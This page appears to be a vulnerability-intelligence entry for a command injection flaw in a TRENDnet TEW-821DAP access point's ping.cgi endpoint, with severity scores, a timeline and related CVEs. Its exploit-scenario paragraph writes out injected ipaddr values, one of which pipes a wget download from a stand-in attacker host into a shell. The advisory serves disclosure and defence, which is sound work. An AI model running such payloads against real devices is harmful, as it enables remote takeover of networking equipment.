Skip to main content

TRENDnet TEW-821DAP CVE-2026-76582

| EUVDEUVD-2026-62852 LOW
Command Injection (CWE-77)
2026-08-19 VulDB GHSA-84jr-qg5v-fgf4
Command Injection Tew 821Dap
2.1
CVSS 4.0 · Vendor: VulDB

Severity by source

Vendor (VulDB) PRIMARY
2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.8 HIGH

Command injection via popen/system yields full OS access, warranting H/H/H impact; PR:L matches CVSS 4.0 source; scope unchanged as impact is confined to the AP itself.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

4
Severity Changed
Aug 19, 2026 - 21:22 NVD
MEDIUM LOW
CVSS changed
Aug 19, 2026 - 21:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
Analysis Generated
Aug 19, 2026 - 21:14 vuln.today
CVE Published
Aug 19, 2026 - 20:30 cve.org
MEDIUM 5.3

DescriptionCVE.org

A vulnerability was determined in TRENDnet TEW-821DAP 2.2.01b05. Affected is the function popen/system of the file /cgi-bin/ping.cgi of the component ssi. Executing a manipulation of the argument ipaddr can lead to command injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.

AnalysisAI

Command injection in TRENDnet TEW-821DAP firmware 2.2.01b05 allows authenticated remote attackers to execute arbitrary OS commands by supplying shell metacharacters in the ipaddr parameter of the /cgi-bin/ping.cgi endpoint. The SSI component passes this input unsanitized to popen/system, enabling full OS command execution on the device. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain low-privilege web UI credentials
Delivery
Send crafted HTTP request to /cgi-bin/ping.cgi
Exploit
Inject shell metacharacters in ipaddr parameter
Execution
Trigger popen/system execution of injected payload
Impact
Execute arbitrary OS commands on device
Sign in to reveal

Vulnerability AssessmentAI

Exploitation The CVSS 4.0 vector specifies PR:L, meaning exploitation requires at minimum low-privilege authenticated access to the TEW-821DAP web management interface - unauthenticated exploitation is not supported by the provided data. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) establishes this as a network-exploitable, low-complexity vulnerability requiring low-privilege authenticated access, with a base score of 5.3. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with low-privilege access to the TEW-821DAP web interface - obtained via default credentials or brute force - sends an HTTP request to `/cgi-bin/ping.cgi` with an `ipaddr` value such as `127.0.0.1; id` or `127.0.0.1 | wget http://attacker.com/shell.sh -O /tmp/s && sh /tmp/s`, causing the device's `popen`/`system` call to execute the injected payload as the CGI process user. A public POC on GitHub demonstrates the technique, making exploitation accessible to low-skill adversaries. …
Remediation No vendor-released patch for the TRENDnet TEW-821DAP has been identified at time of analysis - check TRENDnet's official firmware download page for updates addressing this CVE. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Tew 821Dap

View all
CVE-2026-77946 CRITICAL POC
9.3 Aug 22

Stack-based buffer overflow in the TRENDnet TEW-821DAP (firmware 2.2.01b05) wireless access point allows attackers reach
CVE-2026-15484 HIGH
8.7 Jul 12

Buffer overflow in the TRENDnet TEW-821DAP (firmware 1.12B01) wireless access point lets an authenticated remote attacke
CVE-2026-15483 HIGH
8.7 Jul 12

Buffer overflow in the TRENDnet TEW-821DAP (v1.0R, firmware 1.12B01) dual-band access point lets an authenticated remote
CVE-2026-7607 HIGH
8.7 May 02

Remote authenticated attackers can execute arbitrary code on TRENDnet TEW-821DAP v1.xR hardware running firmware 1.12B01
CVE-2026-77945 LOW POC
2.1 Aug 22

Command injection in TRENDnet TEW-821DAP 2.2.01b05 allows remote low-privileged attackers to execute arbitrary OS comman
CVE-2026-7611 MEDIUM
6.3 May 02

Insufficient verification of firmware authenticity in TRENDnet TEW-821DAP up to version 1.12B01 allows remote attackers

CVE-2026-7606 MEDIUM
6.3 May 02

Insufficient verification of data authenticity in the firmware update handler of TRENDnet TEW-821DAP 1.12B01 allows remo
CVE-2026-7609 LOW POC
2.1 May 02

OS command injection in TRENDnet TEW-821DAP firmware up to version 1.12B01 allows authenticated remote attackers to exec
CVE-2026-7608 LOW POC
2.0 May 02

OS command injection in TRENDnet TEW-821DAP up to firmware version 1.12B01 allows authenticated local attackers to execu
CVE-2026-15486 MEDIUM
5.3 Jul 12

OS command injection in TRENDnet TEW-821DAP firmware 1.11B03 allows a network-adjacent authenticated attacker to execute
CVE-2026-15485 MEDIUM
5.3 Jul 12

OS command injection in the TRENDnet TEW-821DAP 1.11B03 wireless access point allows authenticated remote attackers to e
CVE-2026-7610 LOW
2.9 May 02

TRENDnet TEW-821DAP firmware version 1.12B01 transmits sensitive information in cleartext via the /www/cgi/ssi endpoint

Same weakness CWE-77 – Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2015-2051 HIGH POC
8.8
CVE-2017-6327 HIGH POC
8.8
CVE-2023-34960 CRITICAL POC
9.8
CVE-2023-37679 CRITICAL POC
9.8

Same technique Command Injection

View all
CVE-2024-21887 CRITICAL POC
9.1
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2012-1823 CRITICAL POC
9.8
CVE-2016-1555 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2024-55956 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8

Share

CVE-2026-76582 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy